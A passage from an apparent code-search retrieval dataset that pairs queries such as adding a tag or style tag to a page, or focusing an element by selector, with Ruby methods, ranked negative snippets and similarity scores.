href='/#{dir}/#{tag.to_url}/'>#{tag}</a>\"\n end", "def add_tag(tag)\n @added_tags ||= Set.new\n @added_tags << tag\n end", "def add_terms_of_use_url(value)\n @children['terms-of-use-url'][:value] << value\n end", "def tag_link(t)\r\n link_to \"##{t}\", \"/post/tag/#{t}\", :class => \"linkRemote\" \r\n end", "def meta_tag(name, content)\n\t\ttag(:meta, name: name, content: content)\n\tend", "def tag(name, contents = nil, attrs = {}, &block)\n attrs = contents if contents.is_a?(Hash)\n contents = capture(&block) if block_given?\n open_tag(name, attrs) + contents.to_s + close_tag(name)\n end", "def insert(short, url)\n raise NotImplementedError\n end", "def content_tag(tag, content, options = {}, escape = true, &block) #:nodoc:\n @template.content_tag(tag, content, options, escape, &block)\n end", "def tag(arg)\n @tag = arg.to_s\n self\n end", "def abstract_tag(text); end", "def add(tag, value)\n datastore.zadd(tag, 0, value)\n end", "def render_tag(tags, name, value, itemprop: nil)\n name_key ||= configured_name_key(name)\n tags << Tag.new(:meta, name_key => name.to_s, :content => value, :itemprop => itemprop) if value.present?\n end", "def insert_to_page(tag, inner, first = true)\n where = get_where(first)\n if tag != \"script\"\n script = <<-JS\n var newMartaObject = document.createElement('#{tag}');\n newMartaObject.setAttribute('martaclass','marta_#{tag}');\n newMartaObject.innerHTML = '#{inner}';\n document.body.insertBefore(newMartaObject,document.body.#{where}Child);\n JS\n else\n script = inner\n end\n run_script(script)\n end", "def wrap_tag text, tag = \"nowiki\", &block\n wrap(text, \"<#{tag}>\", \"</#{tag}>\", &block)\n end", "def create(tag)\n api_client.tags.multi_add(resource_hrefs: [api_client.get_instance.href], tags: [tag])\n end", "def add(url)\n @links << url\n end", "def add(entry)\n @entries[entry.tag] = entry\n end", "def add_this(text, url)\n link_to text, \"http://www.addthis.com/bookmark.php\", :onmouseover => \"return addthis_open(this, '', '#{url}', '');\", :onmouseout => \"addthis_close();\", :onclick => \"return addthis_sendto();\"\n end", "def tag(name, content = nil, options = {})\n \"<#{name}\" +\n (!options.empty? ? \" #{hash_to_html_attrs(options)}\" : '') +\n (content.nil? ? '>' : \">#{content}</#{name}>\")\n end", "def add_to_site(site, path, content)\n page = ::Awestruct::Page.new(site,\n ::Awestruct::Handlers::LayoutHandler.new(site,\n ::Awestruct::Handlers::TiltHandler.new(site,\n ::Aweplug::Handlers::SyntheticHandler.new(site, content, path))))\n page.layout = @layout\n page.output_path = path\n site.pages << page\n page\n end", "def set_tag(tag, value, span=nil)\n raise NotImplementedError\n end", "def add_tag(tag_name, item_entry_id, owner_user_id, tag_content)\n tag_name = tag_name.downcase #enforce lowercase names\n return false if tag_name.length <= 0 or tag_name.length > tag_name_max_length or tag_content.length > tag_content_max_length\n return false if tag_name =~ /\\s/ # no spaces allowed\n return false if USER_TAGS.where(tag_name: tag_name).count() > 0\n case tag_name\n when \"add\", \"edit\", \"delete\"\n return false # collides with $tag command action\n end \n\n # will raise error on invalid content\n USER_TAGS << { item_entry_id: item_entry_id, owner_user_id: owner_user_id, tag_name: tag_name, tag_content: tag_content }\n return true\n end", "def add_tag!(tag)\r\n tag = add_tag(tag)\r\n tag.save\r\n end", "def add(text, url = nil, options = {})\n options = {i18n: true}.merge(options)\n text = translate(text) if options.delete(:i18n)\n items << [text.to_s, url, options]\n end", "def add_tag(*tags)\n tags.each_with_index do |tag, i|\n case tag\n when Tags::Tag\n @tags << tag\n when Tags::RefTag\n @ref_tags << tag\n else\n raise ArgumentError, \"expected Tag or RefTag, got #{tag.class} (at index #{i})\"\n end\n end\n end", "def addLiTagTo(content, liTags)\n\t\tif liTags.nil? then return content_tag(:li, content)\n\t\telse return liTags\t+= content_tag(:li, content) end\n\tend", "def meta_tag(name, content = '')\n tag(:meta, :name => name, :content => content)\n end", "def tag(tag); end", "def tag(tag); end", "def link(link, title, content)\n\t \"<u><link href='#{link}'>#{content}</link></u>\"\n\t end", "def add(text, meta, journal, link, p1=nil, p2=nil)\n text = inject_metadata(text, meta)\n add_revision(text, journal, link, p1, p2)\n end", "def add_script_tag(url: nil, path: nil, content: nil, type: \"text/javascript\")\n expr, *args = if url\n [SCRIPT_SRC_TAG, url, type]\n elsif path || content\n if path\n content = File.read(path)\n content += \"\\n//# sourceURL=#{path}\"\n end\n [SCRIPT_TEXT_TAG, content, type]\n end\n\n evaluate_async(expr, @page.timeout, *args)\n end", "def include string\n @include << to_tag(string)\n end", "def tag(*a, &block)\n tag = _tag(*a)\n self << tag\n nest(tag, &block) if block\n tag\n end", "def add_string(_tag, _val)\n raise NotImplementedError\n end", "def add_tag(query, tag)\n is_valid_with_error(__method__, [:ipv4, :domain], query)\n is_valid_with_error(__method__, [:tag], tag)\n post('actions/tags', { 'query' => query, 'tags' => [tag] })\n end", "def add_url(url)\n @ole.AddURL(url)\n end", "def add_url(url)\n @ole.AddURL(url)\n end", "def note_tag(text); end" ]
[ "0.65680206", "0.6514454", "0.6390427", "0.63733554", "0.6351047", "0.62397987", "0.6226584", "0.61808205", "0.6175438", "0.61540467", "0.61315227", "0.61004555", "0.6040082", "0.59960526", "0.5989696", "0.5960795", "0.59564584", "0.59128577", "0.59049964", "0.589464", "0.5892942", "0.5868599", "0.586001", "0.5836885", "0.5835723", "0.5832483", "0.5832483", "0.5827662", "0.58234996", "0.5809636", "0.58048993", "0.57990247", "0.57946396", "0.5793368", "0.5793359", "0.5793359", "0.5788354", "0.57556987", "0.5753404", "0.57514036", "0.57390124", "0.5729133", "0.57250476", "0.57250273", "0.56790614", "0.56644946", "0.56357116", "0.56276554", "0.5622114", "0.56162643", "0.56031716", "0.5601634", "0.5584253", "0.5581152", "0.5579149", "0.5577202", "0.5573467", "0.55678785", "0.55630845", "0.55537987", "0.5533224", "0.5533019", "0.55256456", "0.5523387", "0.5521611", "0.5508442", "0.5502011", "0.549887", "0.5490594", "0.5490086", "0.5463827", "0.54573566", "0.54565144", "0.54555666", "0.5450779", "0.5448278", "0.5442705", "0.5442371", "0.54403204", "0.54371035", "0.5433759", "0.5432768", "0.54299384", "0.5426709", "0.54208106", "0.53981626", "0.5370281", "0.537", "0.53608894", "0.53580093", "0.53580093", "0.53579545", "0.5356435", "0.5348164", "0.53471553", "0.5345392", "0.5345113", "0.5341139", "0.5304798", "0.5304798", "0.53020024" ]
0.0
-1
Adds a tag into the page with the desired url or a tag with the content.
def add_style_tag(url: nil, path: nil, content: nil) # @param url [String] # # @return [Promise<HTMLElement>] # add_style_url = <<~JAVASCRIPT async function addStyleUrl(url) { const link = document.createElement('link'); link.rel = 'stylesheet'; link.href = url; const promise = new Promise((res, rej) => { link.onload = res; link.onerror = rej; }); document.head.appendChild(link); await promise; return link; } JAVASCRIPT # @param content [String] # # @return [Promise<HTMLElement>] # add_style_content = <<~JAVASCRIPT async function addStyleContent(content) { const style = document.createElement('style'); style.type = 'text/css'; style.appendChild(document.createTextNode(content)); const promise = new Promise((res, rej) => { style.onload = res; style.onerror = rej; }); document.head.appendChild(style); await promise; return style; } JAVASCRIPT unless url.nil? begin return execution_context.evaluate_handle_function(add_style_url, url).value!.as_element rescue => _error raise "Loading style from #{url} failed" end end unless path.nil? contents = File.read path contents += '//# sourceURL=' + path.delete("\n") return execution_context.evaluate_handle_function(add_style_content, contents).value!.as_element end unless content.nil? return execution_context.evaluate_handle_function(add_style_content, content).value!.as_element end raise "Provide a `url`, `path` or `content`" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_tag\n url = Url.find_by(id: params[:id])\n tag = Tag.find_by(name: params[:tag])\n if tag\n ## TODO: handle tag with url in backend\n # if not url.tags.where(:tag_id => tag.id).any?\n # url.tags << tag\n # end\n url.tags << tag\n else\n tag = Tag.new(name: params[:tag])\n url.tags << tag\n end\n render json: {code: 200, tags: url.tags}\n end", "def content_tag(type, content, options = {}); end", "def tag(new_tag); end", "def add_tag(tag)\n if not tag.kind_of?(String)\n raise \"tag '#{tag.inspect}' is not a String\"\n end\n\n if not @tags.include?(tag)\n @tags.push(tag)\n end\n \n end", "def add_tag(t)\n self.push(t)\n return self\n end", "def add_tag (tag)\n `rs_tag --add \"#{tag}\"`\n end", "def write_tag(content, tag)\n write_html(\"<#{tag}>\\n\")\n write_text(content)\n write_html(\"</#{tag}>\\n\")\n end", "def add_tag(tag)\n @api.post(\"#{@api.path}/List/#{@id}/Tag\", body: tag)\n end", "def add_tag_link(tag)\n cur_tag = params[:tag]\n if cur_tag and !cur_tag.split.select { |x| x =~ /^#{tag}$/ }.empty?\n link = cur_tag.split\n if link.size == 1\n link_to('-', { :controller => 'tumble', :action => 'list' }, :class => 'remove-tag')\n else\n link = link.reject { |x| x =~ /^#{tag}$/ } * '+'\n link_to('-', {:controller => 'tumble', :action => 'tag', :tag => link}, \n { :class => 'remove-tag' }).gsub(/%2B/,'+')\n end\n elsif cur_tag\n link = \"#{cur_tag.gsub(' ','+')}+#{tag}\"\n # the gsub below is an annoying hack to fight against the uri encoding.\n # need to find a way to turn it off..\n link_to('+', {:controller => 'tumble', :action => 'tag', :tag => link}, \n { :class => 'add-tag', :rel => 'nofollow' }).gsub(/%2B/,'+') \n else\n \"\"\n end\n end", "def <<(node_or_tags); end", "def <<(node_or_tags); end", "def see_tag(text); end", "def add_tag(tag)\n if @current_node == nil\n add_root(tag)\n else\n add_child(tag)\n end\n end", "def <<(tag)\n add(tag)\n end", "def process(content = nil) # :nodoc:\n if content\n content_tag(@tag_name, content, @options)\n else\n tag(@tag_name, @options)\n end\n end", "def add_tag_link(tag)\r\n cur_tag = params[:tag]\r\n if cur_tag and !cur_tag.split.select { |x| x =~ /^#{tag}$/ }.empty?\r\n link = cur_tag.split\r\n if link.size == 1\r\n link_to('-', '/', :class => 'remove-tag')\r\n else\r\n link = link.reject { |x| x =~ /^#{tag}$/ } * '+'\r\n link_to('-', {:controller => 'post', :action => 'tag', :tag => link},\r\n { :class => 'remove-tag' })\r\n end\r\n elsif cur_tag\r\n link = \"#{cur_tag.gsub(' ','+')}+#{tag}\"\r\n # the gsub below is an annoying hack to fight against the uri encoding.\r\n # need to find a way to turn it off..\r\n link_to('+', {:controller => 'post', :action => 'tag', :tag => link},\r\n { :class => 'add-tag', :rel => 'nofollow' }).gsub(/%2B/,'+')\r\n else\r\n \"\"\r\n end\r\n end", "def tag(tag_name, content, attributes = {})\n t = self.t_s(tag_name)\n unless attributes.empty?\n t = self.t_s(tag_name, self.attr_string(attributes))\n end\n\n t << content << self.t_e(tag_name)\n end", "def i_content_tag(tag, content)\n tag ? content_tag(tag, content) : content\n end", "def add_child(node_or_tags); end", "def add_child(node_or_tags); end", "def add_tags(tag)\n remove_previous_tags\n if @page.find(input_elements[:tag_input_field]).present?\n @page.find(input_elements[:tag_input_field]).set(tag)\n else\n @page.find(input_elements[:tag_input_field2]).set(tag)\n end\n @page.find(input_elements[:tag_selected]).click\n @used_tag = tag\n end", "def add_tag(tag)\n t = Tagging.new()\n t.translation = self\n t.tag = tag\n begin\n self.taggings << t\n rescue # Already tagged\n false\n end\n end", "def add_tag(tag)\n\n (h.fields['__tags__'] ||= []) << tag\n end", "def add_html(tag, name)\n @am.add_html(tag, name)\n end", "def add_tag\n\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:id, \"tag-chooser\") }\n\n # Input \"Tiger Woods\" into search module\n @driver.find_element(:id, \"tag-chooser\").send_keys(\"tiger woods\")\n\n # Wait for Tiger Woods to appear in drop - down, then select it\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:class, \"tag-chooser-checkbox\") }\n @driver.find_element(:link_text, \"Tiger Woods\").click\n\n # Select article type to be \"Breaking News\"\n @driver.find_element(:id, 'breaking_news_tag').click\n\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:link_text, \"Golf\") }\n\n # Select league to be 'Golf'\n @driver.find_element(:link_text, 'Golf').click\n end", "def add(tag)\n return nil if tag.nil?\n get_list(tag) << tag\n end", "def process_page_link_tag(tag)\n parts = tag.split(' ')\n\n url, *descp = parts\n title = descp.join(\" \")\n\n alternatives = Repos.alternatives(*url.split(\"/\"))\n\n base_link, add_links = [], []\n\n extern_url = url =~ /^https?:/\n\n url = \"/#{url}\" if not url[0..0] == \"/\" and not extern_url\n title = url if title.empty?\n\n if extern_url\n return %Q{<a href=\"#{url}\">#{title}</a>}\n elsif tag =~ /^mailto:/\n return %Q{<a href=\"#{tag}\">#{tag.split(\":\")[1..-1]}</a>}\n end\n\n if not alternatives.empty?\n alternatives.each_pair do |ext, file|\n if ext == defext # find page with default extension\n\n base_url =\n if alternatives.size > 1\n # add extension for base_url unless given\n url !~ /\\.#{ext}$/ ? \"#{url}.#{ext}\" : url\n else url end\n\n base_link << [base_url, file]\n else\n add_links << [\"#{url}.#{ext}\", file]\n end\n end\n else\n # not existing page\n base_link << [url, nil]\n end\n\n # sort links by extension\n add_links = add_links.sort_by{|link, file| File.extname(file) }\n\n if base_link.empty?\n base_link << add_links.shift\n end\n\n title = title[1..-1] if title[0..0] == \"/\"\n base_link.map!{|url, _| mk_link(url, (alternatives.empty? ? \"o\" : \"x\"), title) }\n add_links.map!{|url, _| mk_link(url, 'alt', nil) }\n\n ret = base_link.join\n unless add_links.empty?\n ret << \" <span class='alts'><sup>(%s)</sup></span>\" % add_links.join(\", \")\n end\n ret\n end", "def content_tag(name, content = nil, options = {})\n tag(name, options.merge(:content => content))\n end", "def add_tags\n raise NotImplementedError\n end", "def add_tag_node (tag_path, tag_node_or_name, tag_value = nil, data_type = nil)\n\n $test_logger.log(\"Add tag node #{tag_path}\")\n\n #Get target node\n target_node = get_tag_node(tag_path)\n\n if tag_node_or_name.is_a?(REXML::Element)\n raise \"Tag node and tag value cannot be specified at the same time!\" if tag_value != nil\n node_to_add = tag_node_or_name\n else\n node_to_add = Element.new(tag_node_or_name)\n node_to_add.text = tag_value if tag_value != nil\n end\n\n #Add data type to node if required\n if data_type != nil\n node_to_add.add_attribute(TYPE_ATTR, data_type)\n end\n\n #Add child node to target path\n target_node << node_to_add\n\n #Notify changes to load other formats like RAW and HEX\n notify_change(InputChannel::XML)\n end", "def register_html_tag(tag_name, type = T.unsafe(nil), **options); end", "def tag_add(id, tag)\n wf_event_id?(id)\n wf_string?(tag)\n api.put([id, 'tag', tag].uri_concat)\n end", "def insert_tag_node (tag_path, tag_node_or_name, to_insert_before = false, tag_value = nil)\n\n $test_logger.log(\"Add tag node #{tag_path}\")\n\n raise \"XML doc not loaded\" if @xml_ilv_node == nil\n\n if tag_node_or_name.is_a?(REXML::Element)\n node_to_add = tag_node_or_name\n else\n node_to_add = Element.new(tag_node_or_name)\n node_to_add.text = tag_value.to_s\n end\n\n if to_insert_before\n @xml_ilv_node.insert_before(tag_path, node_to_add)\n else\n @xml_ilv_node.insert_after(tag_path, node_to_add)\n end\n\n #Notify changes to load other formats like RAW and HEX\n notify_change(InputChannel::XML)\n\n end", "def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end", "def add(url, desc, ext = '', tags = '', time = Time.now, \n replace = false, is_private = false)\n raise Error, \"Missing URL\" unless url\n raise Error, \"Missing Description\" unless desc\n args = [\n (\"url=#{u(url)}\"), (\"description=#{u(desc)}\"),\n (\"dt=#{time.gmtime.iso8601}\"),\n (ext ? \"extended=#{u(ext)}\" : nil),\n (tags ? \"tags=#{u(tags)}\" : nil), \n (replace ? 'replace=yes' : nil),\n (is_private ? 'shared=no' : nil),\n ]\n get('posts/add?' << args.compact.join('&amp;'))\n nil\n end", "def tag(name,content,options={})\n with_opts = \"<#{name.to_s} #{options.to_html_attrs}>#{content}</#{name}>\"\n no_opts = \"<#{name.to_s}>#{content}</#{name}>\"\n options.blank? ? no_opts : with_opts\n end", "def add( item)\n\t\titem.addtag self.gettag\n\tend", "def example_tag(text); end", "def add_tag(tag)\r\n self.tags.new(:name => tag.name)\r\n end", "def link(tag)\n apply_uri_template @tag_link_template, tag: safe_parameterize(tag)\n end", "def add_tag\n @asset = Asset.find(params[:id])\n new_tag = params[:tag]\n \n if @asset.tag_list.include?(new_tag)\n render :nothing => true\n return\n end\n \n @asset.tag_list << new_tag\n \n tag_html = render_to_string :partial => \"shared/tag.html.haml\", :locals => { :asset => @asset, :tag_name => new_tag }\n \n respond_to do |format|\n if @asset.save\n format.html { redirect_to(@asset, :notice => 'Tag was successfully added to asset.') }\n format.json { render :json => { :asset => @asset, :tag_html => tag_html } }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add(content)\n raise NotImplementedError\n end", "def insert(name, tag, value)\n set_text_content(name, tag, @klass, value)\n end", "def api_tag(text); end", "def wrap_tag text, tag = \"nowiki\", &block\n wrap(text, \"<#{tag}>\", \"</#{tag}>\", &block)\n end", "def on_html_tag(name, attrs, content = nil)\n return super if name != '*'\n hash, merger, formatter = splat_attributes(attrs[2..-1])\n tmp = unique_name\n tag = [:multi,\n merger,\n [:code, \"#{tmp} = #{hash}.delete('tag').to_s\"],\n [:if, \"#{tmp}.empty?\",\n [:code, \"#{tmp} = #{@options[:default_tag].inspect}\"]],\n [:static, '<'],\n [:dynamic, \"#{tmp}\"],\n formatter]\n tag << if content\n [:multi,\n [:static, '>'],\n compile(content),\n [:static, '</'],\n [:dynamic, \"#{tmp}\"],\n [:static, '>']]\n else\n [:static, '/>']\n end\n end", "def tag(tag, *a)\n if Hash === a.last\n opts = a.pop\n else\n opts = {}\n end\n\n attrs = opts.map do |k,v|\n \"#{k}=\\\"#{h v}\\\"\"\n end.join ' '\n\n content = if block_given?\n a << yield\n else\n a\n end.flatten.join(\"\\n\")\n\n s = \"<#{tag} #{attrs}>#{content}</#{tag}>\"\n end", "def << param\n if param.class == Array\n # append a linked textual fragment\n param[1] = java.net.URI.new(param[1])\n self.append_hyperlink *param\n else\n # append a textual fragment\n self.append_text_content param\n end\n self\n end", "def wrap_in(tag, *options, &block)\n options = options.extract_options!\n _.content_tag(tag, block.call, options)\n end", "def add_content(content)\n @content = @content + content\n end", "def tag_page_resource(tag, articles)\n Sitemap::ProxyResource.new(@sitemap, link(tag), @tag_template).tap do |p|\n # Detect \"formatted\" tag in first article - trying to guess the correct format to show\n # tagname = articles.first.tags.detect { |article_tag| safe_parameterize(article_tag) == tag }\n\n # Add metadata in local variables so it's accessible to later extensions\n p.add_metadata locals: {\n 'page_type' => 'tag',\n 'tagname' => tag,\n 'articles' => articles,\n 'blog_controller' => @blog_controller\n }\n end\n end", "def feed_tag(mime, url, options={})\n full_mime = (mime == :atom) ? 'application/atom+xml' : 'application/rss+xml'\n tag(:link, { :rel => 'alternate', :type => full_mime, :title => mime, :href => url }.update(options))\n end", "def new_tag(tag)\n puts cyan(\"Found new tag: #{tag}\")\n end", "def add_tag!(tag)\r\n tag = add_tag(tag)\r\n tag.save\r\n end", "def set_tag(tag, value, span=nil)\n raise NotImplementedError\n end", "def add_tag(tag)\n @added_tags ||= Set.new\n @added_tags << tag\n end", "def add_tag(*tags)\n tags.each_with_index do |tag, i|\n case tag\n when Tags::Tag\n @tags << tag\n when Tags::RefTag\n @ref_tags << tag\n else\n raise ArgumentError, \"expected Tag or RefTag, got #{tag.class} (at index #{i})\"\n end\n end\n end", "def add_tag(new_tag)\n db = connect_to_database()\n db.execute(\"INSERT INTO tags (Tag) VALUES (?)\", new_tag.downcase)\n end", "def mytag(opts)\n Rails.logger.info \"Own method mytag is active\"\n \"<b>#{opts[:text]}</b>\"\n end", "def add_terms_of_use_url(value)\n @children['terms-of-use-url'][:value] << value\n end", "def add_link(el, href, title, alt_text = T.unsafe(nil), ial = T.unsafe(nil)); end", "def link(_content, _url)\n raise NotImplementedError\n end", "def addLiTagTo(content, liTags)\n\t\tif liTags.nil? then return content_tag(:li, content)\n\t\telse return liTags\t+= content_tag(:li, content) end\n\tend", "def add_tag(name, &block)\n @custom_tags[name.to_sym] = block\n end", "def return_tag(text); end", "def addExtraURITag(key,value) \n\t\tself._querytext.push([key,value])\t\n\tend", "def add(url, desc, ext = '', tags = '', time = Time.now)\n raise \"Missing URL\" unless url\n raise \"Missing Description\" unless desc\n args = [\n (\"url=#{url.uri_escape}\"), (\"description=#{desc.uri_escape}\"),\n (ext ? \"extended=#{ext.uri_escape}\" : nil),\n (tags ? \"tags=#{tags.uri_escape}\" : nil), (\"dt=#{time.to_iso8601}\")\n ]\n get('/api/posts/add?' << args.compact.join('&amp;'))\n nil\n end", "def tag_link(tag)\n dir = @context.registers[:site].config['tag_dir'] || 'tag'\n \"<a class='tag' href='/#{dir}/#{tag.to_url}/'>#{tag}</a>\"\n end", "def wrap(node_or_tags); end", "def create(tag)\n api_client.tags.multi_add(resource_hrefs: [api_client.get_instance.href], tags: [tag])\n end", "def add(tag, value)\n @fields[tag.to_sym] = value\n end", "def insert(short, url)\n raise NotImplementedError\n end", "def tag(*a, &block)\n tag = _tag(*a)\n self << tag\n nest(tag, &block) if block\n tag\n end", "def inner_html=(node_or_tags); end", "def tag(t)\n tag = get url: \"tags/#{generate_slug(t)}\", filter: @everything_filter\n tag.tag if tag\n end", "def link(content,href,options={})\n options.update :href => href\n tag :a, content, options\n end", "def tag(tag); end", "def tag(tag); end", "def abstract_tag(text); end", "def add_tag(tag_name, item_entry_id, owner_user_id, tag_content)\n tag_name = tag_name.downcase #enforce lowercase names\n return false if tag_name.length <= 0 or tag_name.length > tag_name_max_length or tag_content.length > tag_content_max_length\n return false if tag_name =~ /\\s/ # no spaces allowed\n return false if USER_TAGS.where(tag_name: tag_name).count() > 0\n case tag_name\n when \"add\", \"edit\", \"delete\"\n return false # collides with $tag command action\n end \n\n # will raise error on invalid content\n USER_TAGS << { item_entry_id: item_entry_id, owner_user_id: owner_user_id, tag_name: tag_name, tag_content: tag_content }\n return true\n end", "def create_and_add(tag, attributes, value)\n self.class.create_tag(tag, attributes, value).tap do | tag |\n tag.playlist = @playlist if tag.kind_of? MediaSegment\n add(tag)\n end\n\n end", "def content_tag(tag, content, options = {}, escape = true, &block) #:nodoc:\n @template.content_tag(tag, content, options, escape, &block)\n end", "def append_tags\n self.text += (\" \"+self.tag_string) if !self.tag_string.blank?\n true\n end", "def append_tags\n self.text += (\" \"+self.tag_string) if !self.tag_string.blank?\n true\n end", "def render_tag(tags, name, value, itemprop: nil)\n name_key ||= configured_name_key(name)\n tags << Tag.new(:meta, name_key => name.to_s, :content => value, :itemprop => itemprop) if value.present?\n end", "def tag_link(t)\r\n link_to \"##{t}\", \"/post/tag/#{t}\", :class => \"linkRemote\" \r\n end", "def tag(value)\n\t\t\tTag.new(value)\n\t\tend", "def tag_append_one(name)\n tag = Tag.find_or_create_by_name(name)\n tag.on(self) unless tags.include? tag\n end", "def process_tag(tag)\n if html = process_image_tag(tag)\n html\n elsif html = process_file_link_tag(tag)\n html\n else\n process_page_link_tag(tag)\n end\n end", "def prepend_child(node_or_tags); end", "def prepend_child(node_or_tags); end", "def tag(arg)\n @tag = arg.to_s\n self\n end", "def tag(name, contents = nil, attrs = {}, &block)\n attrs = contents if contents.is_a?(Hash)\n contents = capture(&block) if block_given?\n open_tag(name, attrs) + contents.to_s + close_tag(name)\n end", "def content_tag(name, content_or_options_with_block = nil, options = nil, &block)\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content = capture(&block)\n concat(content_tag_string(name, content, options), block.binding)\n else\n content = content_or_options_with_block\n content_tag_string(name, content, options)\n end\n end", "def makeTag(tag, name=nil, value=nil, content=nil)\n return \"<#{tag}/>\" if name.nil? and value.nil? and content.nil?\n return\"<#{tag} name='#{name}' content='#{content}'></#{tag}>\" if tag=='meta'\n \"<#{tag} name='#{name}' value='#{value}'>#{content}</#{tag}>\"\nend", "def tag(value)\n merge(letag: value.to_s)\n end", "def tag_or_link(namespace, name)\n namespace.nil? ? content_tag(:span, name) : link_to(name, namespace)\n end", "def insert_to_page(tag, inner, first = true)\n where = get_where(first)\n if tag != \"script\"\n script = <<-JS\n var newMartaObject = document.createElement('#{tag}');\n newMartaObject.setAttribute('martaclass','marta_#{tag}');\n newMartaObject.innerHTML = '#{inner}';\n document.body.insertBefore(newMartaObject,document.body.#{where}Child);\n JS\n else\n script = inner\n end\n run_script(script)\n end", "def overload_tag(text); end", "def auto_create_tag\n\t\n\tget_tags.each do |tag|\n\t\t@items << Nanoc3::Item.new(\n\t\t\"<%= render 'tag', :tag => '#{tag}' %>\",\n\t { :title => \"Category: #{tag}\", :is_hidden => true, :tag => \"#{tag}\"}, # do not include in sitemap.xml\n\t \"/tags/#{tag}/\", # identifier\n\t :binary => false\n\t)\n\n\tend\n\tnil\nend", "def add_tags_to_verses(document, text)\n html = text.to_str\n html.gsub!(/data-srcid\\s?=\\s?['\"](.*?)['\"]/) do |match|\n tagid = DmKnowledge::Document.tagcontext_from_srcid($1)\n tag_list = document.tag_list_on(tagid)\n unless tag_list.empty?\n \"#{match} data-tags='#{tag_list.to_json}' data-tagid='#{tagid}'\"\n else\n match\n end\n end\n html.html_safe\n end" ]
[ "0.6562378", "0.64267516", "0.62475646", "0.6239432", "0.6238579", "0.6191911", "0.6181136", "0.6067945", "0.60661626", "0.6045257", "0.6045257", "0.6037953", "0.6030934", "0.6026329", "0.60185575", "0.5986718", "0.5924376", "0.592372", "0.5912836", "0.5912836", "0.5912769", "0.5876549", "0.5868771", "0.58547163", "0.58134705", "0.5809196", "0.57945144", "0.5788626", "0.5785534", "0.5759215", "0.5758812", "0.57523865", "0.5746872", "0.57322204", "0.5714929", "0.57050997", "0.5668689", "0.56549746", "0.56319547", "0.5626005", "0.55973905", "0.5578409", "0.5577549", "0.557171", "0.553598", "0.55273986", "0.5519804", "0.55185515", "0.5511215", "0.55082476", "0.55038506", "0.55034786", "0.5493669", "0.5487197", "0.54812485", "0.5477186", "0.54613036", "0.546091", "0.54607874", "0.5458897", "0.5458104", "0.5449444", "0.5445886", "0.54411405", "0.54407686", "0.5438167", "0.5436728", "0.5431815", "0.5430147", "0.542269", "0.5421869", "0.5415913", "0.5412483", "0.5408781", "0.5404656", "0.5403216", "0.5398797", "0.5398797", "0.53986156", "0.53813744", "0.537632", "0.5375674", "0.5375211", "0.5375211", "0.53700966", "0.53394973", "0.5317844", "0.5312686", "0.5311279", "0.5310701", "0.5310701", "0.53084993", "0.529447", "0.5291039", "0.52889794", "0.5281169", "0.5270704", "0.52689016", "0.52660954", "0.5261708", "0.525975" ]
0.0
-1
This method fetches an element with selector and focuses it. If there's no element matching selector, the method throws an error.
def focus(selector) handle = query_selector selector "No node found for selector: #{selector}" if handle.nil? handle.focus handle.dispose nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select!\n raise \"Locator at #{locator} is not visible\" unless visible?\n begin\n wd_element.click\n rescue\n raise \"Locator at #{locator} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def select!\n raise \"Locator at #{location} is not visible\" unless visible?\n begin\n el.click\n rescue\n raise \"Locator at #{location} can not be interacted with\" unless visible?\n end\n check_errors\n end", "def focus\n assert_exists\n driver.execute_script \"return arguments[0].focus()\", @element\n end", "def focus\n assert_exists\n driver.execute_script \"return arguments[0].focus()\", @element\n end", "def click(selector)\n if selector.is_a? String\n find(selector).click\n else\n selector.click\n end\n end", "def click_on_class_or_css(selector)\n\n find(selector).click\n\n end", "def scroll_into_view(selector)\n el = find(selector)\n # only do this if the native element is a selenium element\n el.native.send_keys(:null) if el.native.class.to_s.split(\"::\").first == \"Selenium\"\nend", "def focus(locator)\n execute_script(\n 'var element = arguments[0]; element.focus();',\n find_element(locator)\n )\n end", "def select(elem, selector)\n case selector\n when :element then elem\n when :inner_text, :inner_html, :outer_html then elem.send(selector)\n when /^@./ then elem[selector[1..-1]]\n when /^\\$[0-9]+$/\n i = selector[1..-1].to_i\n scrape_data(elem, i..i)\n when /^\\$[0-9]+(\\.\\.\\.?[0-9]+)?$/\n m = /\\.\\.\\.?/.match(selector)\n first, last = m.pre_match[1..-1].to_i, m.post_match.to_i\n last -= 1 if m[0] == \"...\"\n scrape_data(elem, first..last)\n else raise \"invalid selector #{selector.inspect} given\"\n end\n end", "def query_selector(selector)\n document.query_selector selector\n end", "def find(selector)\n DOM::Element.from_node `#{@el}.querySelector(#{selector}) || Opal.nil`\n end", "def focus_onto_search_input\n click NAVBAR_SEARCH_INPUT_LOCATOR\n end", "def click_on_a_button(selector)\n\n click_button(selector)\n\n end", "def scroll_to_css(css_selector)\n script = \"document.querySelector('#{css_selector}').scrollIntoView(true);\"\n Capybara.current_session.evaluate_script(script)\n end", "def find(selector)\n value = `#{@el}.querySelector(#{selector}) || false`\n value ? DOM::Element.fromNode(value) : nil\n end", "def element(selector)\n @doc.at(selector)\n end", "def get_canvas_focus\n find(:css, '#umpleCanvas').click\n end", "def select(*args, &block)\n browser.within(component_locator) do\n browser.select(*args, &block)\n end\n end", "def find! css_selector\n res = find(css_selector)\n raise \"Selector(#{css_selector}) returned no results!\" unless res\n res\n end", "def click_element (element, internally = false)\n element = element.downcase.gsub(' ', '_')\n wait_until{send(\"#{element}?\")}\n\n select = send(\"#{element}_element\")\n\n if internally\n script = <<-JS\n arguments[0].click();\n JS\n self.execute_script(script, select)\n else\n wait_until{select.visible?}\n select.click\n end\n end", "def click_icon_link(selector)\n find(:css, selector).click\n end", "def at(path_or_selector)\n xpath(path_or_selector).first || css(path_or_selector).first\n end", "def focus\n `#@native.focus()`\n end", "def scroll_to_element(access_type, access_name)\n ele_scroll = $driver.find_element(:\"#{access_type}\" => \"#{access_name}\")\n ele_scroll.location_once_scrolled_into_view\nend", "def hover_element (element)\n 